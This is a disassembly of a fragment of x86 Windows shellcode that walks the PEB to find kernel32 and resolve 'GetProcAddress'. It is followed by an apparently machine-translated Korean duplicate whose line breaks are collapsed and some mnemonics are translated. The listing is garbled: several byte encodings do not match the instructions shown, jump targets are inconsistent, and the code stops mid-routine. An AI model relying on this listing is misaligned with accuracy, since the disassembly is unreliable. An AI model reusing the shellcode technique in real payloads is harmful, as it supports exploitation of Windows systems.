Here is a disassembly of the shellcode:
```
00000000  31C9              xor ecx,ecx
00000002  64 8B4130         mov eax,dword ptr fs:[ecx+30h]
00000006  8B400C            mov eax,dword ptr [eax+0Ch]
00000009  8B7014            mov esi,dword ptr [eax+14h]
0000000C  AD                 lodsd
0000000D  96                 xchg eax,esi
0000000E  AD                 lodsd
0000000F  8B5810            mov ebx,dword ptr [eax+10h]
00000012  8B533C            mov edx,dword ptr [ebx+3Ch]
00000015  01DA               add edx,ebx
00000017  8B5278            mov edx,dword ptr [edx+78h]
0000001A  01DA               add edx,ebx
0000001C  8B7220            mov esi,dword ptr [edx+20h]
0000001F  01DE               add esi,ebx
00000021  31C9              xor ecx,ecx
00000023  41                 inc ecx
00000024  AD                 lodsd
00000025  01D8               add eax,ebx
00000027  8138476574        cmp dword ptr [eax],746547h
0000002C  50                 push eax
0000002D  75F4               jne 2Bh
0000002F  8178 04 72        cmp dword ptr [eax+4],726Ch
00000034  6F                 outsw
00000035  6341               arpl word ptr [ecx],ax
00000037  75EB               jne 2Ah
00000039  8178 08 64        cmp dword ptr [eax+8],646Ch
0000003E  6464              fs mov byte ptr fs:[eax],ah
00000040  7265               jc 49h
00000042  75E2               jne 3Eh
00000044  8B7224            mov esi,dword ptr [edx+24h]
00000047  01DE               add esi,ebx
00000049  668B0C4A          mov cx,word ptr [edx+ecx*2]
0000004D  8B721C            mov esi,dword ptr [edx+1Ch]
00000050  01DE               add esi,ebx
00000052  8B148A            mov edx,dword ptr [edx+ecx*4]
00000055  01DA               add edx,ebx
00000057  89D6              mov esi,edx
00000059  31C9              xor ecx,ecx
0000005B  51                 push ecx
0000005C  68 61726900        push 69726176h
00000061  68 4C696200        push 69624Ch
00000066  68 4F532D58        push 582D534Fh
0000006B  89E1              mov ecx,esp
0000006D  31D2              xor edx,edx
0000006F  6551              movsx edx,word ptr gs:[ecx]
00000071
```
다음은 셸코드를 분해한 것입니다:```00000000 31C9 xor ecx,ecx00000002 64 8B4130 mov eax,dword ptr fs:[ecx+30h]00000006 8B400C mov eax,dword ptr [eax+0Ch]00000009 8B7014 mov esi,dword ptr [eax+14h]0000000C AD lodsd0000000D 96 xchg eax,esi0000000E AD lodsd0000000F 8B5810 mov ebx,dword ptr [eax+10h]00000012 8B533C mov edx,dword ptr [ebx+3Ch]00000015 01DA add edx,ebx00000017 8B5278 mov edx,dword ptr [edx+78h]0000001A 01DA add edx,ebx0000001C 8B7220 mov esi,dword ptr [edx+20h]0000001F 01DE add esi,ebx00000021 31C9 xor ecx,ecx00000023 41 INC ECX00000024 AD lodsd00000025 01D8 add eax,ebx00000027 8138476574 CMP DWORD PTR [EAX],746547H0000002C 50 푸시 EAX0000002D 75F4 jne 2Bh0000002F 8178 04 72 CMP DWORD PTR [EAX+4],726Ch00000034 6F outsw00000035 6341 ARPL WORD PTR [ECX],AX00000037 75EB jne 2Ah00000039 8178 08 64 CMP DWORD PTR [EAX+8],646Ch0000003E 6464 FS MOV 바이트 프트르 FS:[EAX],AH00000040 7265 JC 49H00000042 75E2 jne 3Eh00000044 8B7224 MOV ESI,DWORD PTR [EDX+24H]00000047 01DE add esi,ebx00000049 668B0C4A mov cx,word ptr [edx+ecx*2]0000004D 8B721C mov esi,dword ptr [edx+1Ch]00000050 01DE add esi,ebx00000052 8B148A mov edx,dword ptr [edx+ecx*4]00000055 01DA add edx,ebx00000057 89D6 mov esi,edx00000059 31C9 xor ecx,ecx0000005B 51 푸시 ecx0000005C 68 61726900 푸시 69726176H00000061 68 4C696200 푸시 69624Ch00000066 68 4F532D58 푸시 582D534Fh0000006B 89E1 mov ecx,esp0000006D 31D2 xor edx,edx0000006F 6551 movx edx,word ptr gs:[ecx]00000071```